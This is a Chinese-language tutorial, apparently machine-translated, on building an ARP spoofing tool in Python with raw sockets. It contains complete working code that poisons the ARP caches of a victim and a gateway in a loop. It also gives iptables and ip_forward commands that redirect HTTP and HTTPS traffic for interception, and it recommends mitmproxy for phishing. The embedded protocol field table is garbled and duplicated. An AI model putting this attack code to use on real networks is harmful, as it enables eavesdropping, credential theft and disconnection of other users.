介绍
在本文中,我想演示如何在Python中实现自己的ARP欺骗程序。已经有成千上万的实现,但是几乎所有的实现都使用Scapy库和几种方法。我不争辩说,可以更有效地使用该库,但是我有兴趣亲自使用套接字来实现它,所以我想告诉读者它是如何完成的。
假定您已经熟悉ARP协议的工作原理及其缺点,如果不是,那么建议您阅读本文。
我不是高素质的信息安全专家,所以我请您不要扔拖鞋,而要在注释中指定任何不正确之处。
一点理论
让我们从协议代码为\ x08 \ x06开始,它可以在第二个OSI层(即通道)工作。
然后,您需要使自己熟悉他的包裹的主体,才能知道发送什么。在维基百科上,它写得很好:
包装体
Hardware type (HTYPE)
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
乍一看,这似乎很困难,但是如果您弄清楚了,那就应该没有问题了。
因此,第一个-我们的硬件类型(硬件类型)是以太网,因此代码将是0x0001或\ x00 \ x01,协议类型-IPv4,编码为\ x08 \ x00;然后是硬件和协议类型\ x06 \ x04的长度,即6和4个字节。
最后,我们有一个操作代码,在请求的情况下为\ x00 \ x01,在响应的情况下为\ x00 \ x02以及发送者/接收者的物理/逻辑地址。
实作
首先,您需要声明一个套接字实例并设置必要的参数:
import socket
import time
interface = "wlan0" #
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # MAC-, bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-
victim_ip = socket.inet_aton("192.168.1.2") # IP-
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
假设ARP是OSI第2层协议,我们使用socket.PF_PACKET作为第一个参数。您还需要root权限才能使程序正常运行。
socket.htons()方法将16位自然数转换为网络字节顺序。
socket.inet_aton()方法将IPv4地址转换为32位二进制文件。
我还声明了必需的变量。
下一步是包装的形成:
arp_code = b'\x08\x06' #
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code -
protocol = htype + ptype + hlen + plen + operation #
# ,
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
#
# 4 4 ,
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
#
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
现在,我们仅分析了程序本身,但是,如果您不仅要断开用户与网关的连接,还希望替换/嗅探数据包,则需要在ip_forward中启用转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
并通过iptables配置数据包路由:
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
如果要进行网络钓鱼,则mitmproxy实用程序是最佳选择。
您可以使用tcpdump实用程序查看通过您的流量。
同样在我的GitHub上,我发布了一个旨在断开所有或某些节点与网关的连接的脚本-github.com/secwayz/netbuster
编写该程序的结果是,我发现即使使用操作代码0x0001(请求)以及来自响应的所有参数(它们稍有不同),受害者仍然可以接收数据包并更改ARP表中的MAC地址,而攻击的稳定性和此项的强度都得到了显着提高。我认为这是协议中的另一个缺陷,在该缺陷中,网络接口不会忽略组成错误的数据包,而是对其进行处理并覆盖该表。